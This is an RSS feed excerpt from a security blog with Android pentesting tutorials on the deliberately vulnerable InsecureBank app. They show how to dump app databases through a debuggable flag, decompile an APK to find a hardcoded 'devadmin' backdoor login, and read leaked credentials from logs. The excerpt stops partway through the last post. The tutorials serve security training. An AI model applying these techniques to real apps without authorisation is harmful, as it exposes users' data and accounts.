&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7qw6zJcedxQOfaLXQHHoZI392q-lNP_4pSC17fU9q92wj2JC_FpkHnYuVbcwEFgNXpsf9hTK9RyiHrA8EYhtVV3K7yumvwUv8pdPIyxOoZCisNO0fzVInA20rSTu-lkYJ-U34_jQL/s1600/debug4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;66&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7qw6zJcedxQOfaLXQHHoZI392q-lNP_4pSC17fU9q92wj2JC_FpkHnYuVbcwEFgNXpsf9hTK9RyiHrA8EYhtVV3K7yumvwUv8pdPIyxOoZCisNO0fzVInA20rSTu-lkYJ-U34_jQL/s320/debug4.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
It is now possible to run any command to view or query the data. The command below shows the databases in insecure bank.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixRlQRYqx_EGkuaEiECTadnGbVr42o3AdZ4ezvuhJnbZ-nqgico1lSFpnUCGjv06FEti5JV-4luiOkQ2Cjzf0s6rCJ4J-90Uekjy9a6QVab_4Mi0YocTDoq74Ztwl9jDkKxSu88FZR/s1600/debug5.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;44&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixRlQRYqx_EGkuaEiECTadnGbVr42o3AdZ4ezvuhJnbZ-nqgico1lSFpnUCGjv06FEti5JV-4luiOkQ2Cjzf0s6rCJ4J-90Uekjy9a6QVab_4Mi0YocTDoq74Ztwl9jDkKxSu88FZR/s320/debug5.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
So lets pull back some data from the insecure bank application. Using run-as and sqlite3 we can query the applications database. We can use .tables to list all of the available tables&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqMBAE5RzZQRotSI0aToq0Zz2BQsOWIaaTZKAXf7A_WWVNIdPQb9EvbUIUFShXVe6WJxfSnH4MpBaJMtn8gN-bWblmSXvEvvLkl-Kg2-wx68Coigt_lvNfg4fTy_PsqQyXSMiBIjRN/s1600/sqlitetables.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;42&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqMBAE5RzZQRotSI0aToq0Zz2BQsOWIaaTZKAXf7A_WWVNIdPQb9EvbUIUFShXVe6WJxfSnH4MpBaJMtn8gN-bWblmSXvEvvLkl-Kg2-wx68Coigt_lvNfg4fTy_PsqQyXSMiBIjRN/s400/sqlitetables.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Now lets dump the data in the names table, you can use .dump. You can also use &quot;select * from names&quot; instead of .dump to query the table.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXf5LdlYva1OwG1sxs8bd2d21iT7BbnjsFVpd7NKsNm0Lvgfv-3bff8zA2kbXAckirbgn9u8k_-k27zCtknTP-43cg8OUiOzLZ4ErH091ZrNIhtJ_AP8jATu6LxyjVm9-9bRqdjhSI/s1600/databasedump.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;216&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXf5LdlYva1OwG1sxs8bd2d21iT7BbnjsFVpd7NKsNm0Lvgfv-3bff8zA2kbXAckirbgn9u8k_-k27zCtknTP-43cg8OUiOzLZ4ErH091ZrNIhtJ_AP8jATu6LxyjVm9-9bRqdjhSI/s320/databasedump.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Hopefully this demonstrates why it is important to set debuggable=&quot;false&quot; before deploying to production.&lt;/div&gt;
&lt;br /&gt;</description><link>http://thehackpot.blogspot.com/2015/07/debugging-android-applications.html</link><author>noreply@blogger.com (Anonymous)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHZHTSggaR_z6ipdUMwZXJZzqMsMl_mmo1ja0Jp9UEktHmZ7m1IdKb8FlmzNxgWNYCgetqTZt5oHM00arBLCQIJVM6PPZgJikOHPv6GLsDjiZtrawZf63NDAgObf9ivCt0Y4MY98Wq/s72-c/debug1.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8805024510347536027.post-831776217932511588</guid><pubDate>Thu, 30 Jul 2015 08:51:00 +0000</pubDate><atom:updated>2015-07-30T11:36:39.449+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Android</category><category domain="http://www.blogger.com/atom/ns#">Appie</category><category domain="http://www.blogger.com/atom/ns#">Mobile</category><title>Introduction - Reverse Engineering Android Applications</title><description>&lt;br /&gt;
&lt;h3&gt;
Reversing APK Files&lt;/h3&gt;
&lt;br /&gt;
The first step in the reverse engineering process is to retrieve the APK file. If the application is on the device and it has adb access you can run the command below to list all of the packages on the device. If you know the name of the application you can use grep to look for the specific application, in this case insecurebank.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicLvxUU7yiVHKi3UQdUzS-P86bIfFiSeGa8rDo6qkIbBL6FsLatpPv5Q7Vtlrbn5XWSsQFlqvRaOy6Zsd3zJY0MKYMSpr4-XaCxtMrJEO2o4Dz-xnzjqX9LCoK9bEWRG_NNzmXyR0a/s1600/step1new.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;45&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicLvxUU7yiVHKi3UQdUzS-P86bIfFiSeGa8rDo6qkIbBL6FsLatpPv5Q7Vtlrbn5XWSsQFlqvRaOy6Zsd3zJY0MKYMSpr4-XaCxtMrJEO2o4Dz-xnzjqX9LCoK9bEWRG_NNzmXyR0a/s320/step1new.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
To pull the application from the device you need to get the full path name of the APK file for the package.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9hRva8vG4-57JLnIf2TQ2hGZeyeA6APHOP8Flu1LLtKeazU859X8A8_zEFGXeiSz30jUnhZsvaERVw9Enf7G9kafDsB7eullEZbaya8p0Ji2Ekya2K-4OSqpYqgPSK36aDXI55SjD/s1600/step2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;41&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9hRva8vG4-57JLnIf2TQ2hGZeyeA6APHOP8Flu1LLtKeazU859X8A8_zEFGXeiSz30jUnhZsvaERVw9Enf7G9kafDsB7eullEZbaya8p0Ji2Ekya2K-4OSqpYqgPSK36aDXI55SjD/s320/step2.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Once you know the path you can run &#39;adb pull to retrieve the APK from the device.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieEf9XoBEALOl5hOOfAIkuIoP_9G4_-2LW-0JTMi_1awtKoz45WjnOPQiJsgKPh7KQcsStYmQKKeN1t1tYEiYEuqEXsExmTy9xdTqKtW9GQE4JgpEnsnD_vfaG0TvxJFNrJcwssux_/s1600/step3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;38&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieEf9XoBEALOl5hOOfAIkuIoP_9G4_-2LW-0JTMi_1awtKoz45WjnOPQiJsgKPh7KQcsStYmQKKeN1t1tYEiYEuqEXsExmTy9xdTqKtW9GQE4JgpEnsnD_vfaG0TvxJFNrJcwssux_/s320/step3.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Now that you have the APK file you can rename the file extension as a zip file and use the unzip command to decompress.&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOEgdgb_T3h4CIGOgVTAsczsryTHN0zSfRPzclYXDvGA7seixxzUGiXsMaBtGb-AWuM_5diDzb3QBfrcn1DB8ctDN3ObBb6BICcUyOf8w6Th_6dxXJx1hETpmtGnfQCgHsPvt8vFLV/s1600/unzip.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;211&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOEgdgb_T3h4CIGOgVTAsczsryTHN0zSfRPzclYXDvGA7seixxzUGiXsMaBtGb-AWuM_5diDzb3QBfrcn1DB8ctDN3ObBb6BICcUyOf8w6Th_6dxXJx1hETpmtGnfQCgHsPvt8vFLV/s320/unzip.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3 style=&quot;clear: both; text-align: left;&quot;&gt;
Building Android Applications&lt;/h3&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Developers create Android applications in the Java programming language. These files are then compiled into .class files. The class files are then given to the dx tool in order to generate .dex files.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
These .dex files are then packaged as an APK with other files.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
The classes compiled in dex format are understood by the Dalvik Virtual Machine and allows the application to be executed during runtime. Each application running on an Android device has its own Dalvik Virtual Machine&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3 style=&quot;clear: both; text-align: left;&quot;&gt;
Decompiling Dex Files&lt;/h3&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
In order to decompile the application we need to locate the classes.dex file, we want to convert this back into a Java JAR file. In Appie you can use the &#39;d2j-dex2jar classes.dex&#39; command to convert.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqkDRNaa2oeunarvQmpxINT7u-nJHBdbaOhBqhVRfbT3FEQPNAQi4DAjb76zoRz62jGNW3ES91eL_8vrZjFiNWs-0tBpPybd8mSx5HMhlILFnhuo6ea9c3NrICKhq-fkHa9nDugoO7/s1600/dex2jar.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;35&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqkDRNaa2oeunarvQmpxINT7u-nJHBdbaOhBqhVRfbT3FEQPNAQi4DAjb76zoRz62jGNW3ES91eL_8vrZjFiNWs-0tBpPybd8mSx5HMhlILFnhuo6ea9c3NrICKhq-fkHa9nDugoO7/s200/dex2jar.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
The JAR file can now be decompiled into Java source code using JD-GUI.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPtsdwPUsAaQ-MdZeoT0fWSVFZQTneIQlNpfQserOyzJFytw3dwEIe7VOhLaqVS0q-Qqhi777eIlUVucE96o0o8Jz3Oboh_AKw6sjiHL0fY3BYRlvwJUybFNCP_5KWqAh71O8QxIJL/s1600/jdgui1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;35&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPtsdwPUsAaQ-MdZeoT0fWSVFZQTneIQlNpfQserOyzJFytw3dwEIe7VOhLaqVS0q-Qqhi777eIlUVucE96o0o8Jz3Oboh_AKw6sjiHL0fY3BYRlvwJUybFNCP_5KWqAh71O8QxIJL/s200/jdgui1.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3 style=&quot;clear: both; text-align: left;&quot;&gt;
Analyzing The Code&lt;/h3&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
You can now go through the various classes to analyze the application logic, identify sensitive information etc. In the example below we can see the DoLogin class has a hardcoded developer backdoor.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0SjTIDpM0WENJSqXqntSFvZhFmEOc42N7KZjDPaBsOzl7ECBF0Mz_FMwHESnC1afiQit2bZaIjxoVMuCU0F7uTrmgsN204jdCPEP6PQh9CMgIh3U_QzjQqJoMOk7dp2zZTKjWb5C4/s1600/hardcodedPassword.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;129&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0SjTIDpM0WENJSqXqntSFvZhFmEOc42N7KZjDPaBsOzl7ECBF0Mz_FMwHESnC1afiQit2bZaIjxoVMuCU0F7uTrmgsN204jdCPEP6PQh9CMgIh3U_QzjQqJoMOk7dp2zZTKjWb5C4/s320/hardcodedPassword.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
If you login with the username - devadmin without a password it will give you access to the application.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGdtE-3iUwF8smIYMegbIQZfGeXJU4IFEr5HvNDyO4VSmbbtXClsyL1lduZDwYO8PnsnuJud-AKEYsWNZtAUIEcGWlPcRl_Psb2Qm9YSzO9y_Pf_qKQgkIUZZMQVNJ2ebYRPhwqrsU/s1600/Screenshot_2015-07-30-09-03-19.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGdtE-3iUwF8smIYMegbIQZfGeXJU4IFEr5HvNDyO4VSmbbtXClsyL1lduZDwYO8PnsnuJud-AKEYsWNZtAUIEcGWlPcRl_Psb2Qm9YSzO9y_Pf_qKQgkIUZZMQVNJ2ebYRPhwqrsU/s320/Screenshot_2015-07-30-09-03-19.png&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
We can confirm that the username &#39;devadmin&#39; has allowed us to access the application.&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3xp-A9HDkuo_KUNLXcvPb0syJ2LksCNqejamwffKBJ2KKgW-sFqjy_bUyM14716Wp-q8WHdcddpSimSJpAXkcP9ww-yO1HW1FfDTE4dGTtNR87dSBC-DQwkNDt5uJzA3J0-lWHIlH/s1600/devadmin-backend.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;53&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3xp-A9HDkuo_KUNLXcvPb0syJ2LksCNqejamwffKBJ2KKgW-sFqjy_bUyM14716Wp-q8WHdcddpSimSJpAXkcP9ww-yO1HW1FfDTE4dGTtNR87dSBC-DQwkNDt5uJzA3J0-lWHIlH/s320/devadmin-backend.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
The page below is the landing page post-authentication.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgk3iCwnyjV7ZpUwvP3awwJt3CIUrOT5v7SUfx8-hsl0ANZIAobslYxT10xW5EdmdOlgCebgTIPV9CaLpYAMTYXnABryKPu8wb0Mvxfbi02EvZW2vZnte9BVQZz2W9NNdWJcsV84OSC/s1600/Screenshot_2015-07-30-09-06-45.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgk3iCwnyjV7ZpUwvP3awwJt3CIUrOT5v7SUfx8-hsl0ANZIAobslYxT10xW5EdmdOlgCebgTIPV9CaLpYAMTYXnABryKPu8wb0Mvxfbi02EvZW2vZnte9BVQZz2W9NNdWJcsV84OSC/s320/Screenshot_2015-07-30-09-06-45.png&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
References: http://resources.infosecinstitute.com/android-hacking-and-security-part-18-introduction-to-reverse-engineering/&lt;br /&gt;
&lt;br /&gt;</description><link>http://thehackpot.blogspot.com/2015/07/introduction-reverse-engineering.html</link><author>noreply@blogger.com (Anonymous)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicLvxUU7yiVHKi3UQdUzS-P86bIfFiSeGa8rDo6qkIbBL6FsLatpPv5Q7Vtlrbn5XWSsQFlqvRaOy6Zsd3zJY0MKYMSpr4-XaCxtMrJEO2o4Dz-xnzjqX9LCoK9bEWRG_NNzmXyR0a/s72-c/step1new.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8805024510347536027.post-4010984272381881957</guid><pubDate>Wed, 29 Jul 2015 09:31:00 +0000</pubDate><atom:updated>2015-07-29T11:41:54.769+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Android</category><category domain="http://www.blogger.com/atom/ns#">Appie</category><category domain="http://www.blogger.com/atom/ns#">Mobile</category><category domain="http://www.blogger.com/atom/ns#">OWASP</category><title>Android Unintended Data Leakage</title><description>&lt;br /&gt;
Unintended data leakage occurs when a developer places sensitive information or data in a location that is easily accessible by other apps on the device.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Android Logs&lt;/h3&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
Logging functionality is used for debugging purposes during development. Android has a class called Log that can be used from within the application to place debug information in a central log. Up until Android 4.1 Jelly Bean applications with the READ_LOGS permission could access log entries from other applications. Therefore any application running on a device that has a version below 4.1 or is rooted is still vulnerable.&lt;br /&gt;
&lt;br /&gt;
This tutorial will demonstrate how sensitive information can be leaked via Android logs. For this demo I will use Insecure Bank, this application contains a number of Android vulnerabilities, if you want to find out how to install click on the link&amp;nbsp;&lt;a href=&quot;https://github.com/dineshshetty/Android-InsecureBankv2/blob/master/Usage%20Guide.pdf&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Once you have the app setup you should see a login page similar to below. The login credentials to access the app are:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;dinesh/Dinesh@123$&lt;/li&gt;
&lt;li&gt;jack/Jack@123$&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMJt4-NG2L-yXdAoRz0R89JbayFBjiWAaB8WMYHnJSqbBkhdFRMLcr7JwvVzOvLZRwooo26eNw-HuQIIM1vhnPXBPBZ3Cww-Ga2-oHQds-SBKmiEUi1LHihQ8ELwgXGax69vKyJuUC/s1600/Screenshot_2015-07-29-09-58-16.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMJt4-NG2L-yXdAoRz0R89JbayFBjiWAaB8WMYHnJSqbBkhdFRMLcr7JwvVzOvLZRwooo26eNw-HuQIIM1vhnPXBPBZ3Cww-Ga2-oHQds-SBKmiEUi1LHihQ8ELwgXGax69vKyJuUC/s320/Screenshot_2015-07-29-09-58-16.png&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
Prior to logging in we want try and capture any sensitive information. There are a number of ways of doing this, you can use the logcat option in the Eclipse IDE or adb logcat. A very useful script that comes packaged in Appie is&amp;nbsp;&lt;a href=&quot;https://github.com/JakeWharton/pidcat&quot; target=&quot;_blank&quot;&gt;PID Cat&lt;/a&gt;, this script filters the logs by application package making it easier to identify information coming from that particular application.&lt;br /&gt;
&lt;br /&gt;
In Appie simply type pidcat com.android.insecurebankv2 (package name). Then log in with the credentials above, you should now see the same credentials displayed in the log.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidpauhNBSF8VjLz-B7M6ghkdTQLa0hwO49rOXMZbFfkbt-a3xGmCi1bT-SFmpRI3TNPPqWIc4tj88LaqW_XpUc-puLQnXkBAvRbHh0fXj85ZrfbsEaDFxfUf92nvzId2BNIAkbDK1E/s1600/pidcat2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;81&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidpauhNBSF8VjLz-B7M6ghkdTQLa0hwO49rOXMZbFfkbt-a3xGmCi1bT-SFmpRI3TNPPqWIc4tj88LaqW_XpUc-puLQnXkBAvRbHh0fXj85ZrfbsEaDFxfUf92nvzId2BNIAkbDK1E/s400/pidcat2.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
Another example using the insecure bank application is on the transfer amounts page. You can click on the &#39;Get Accounts&#39; button and then enter an amount to transfer.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
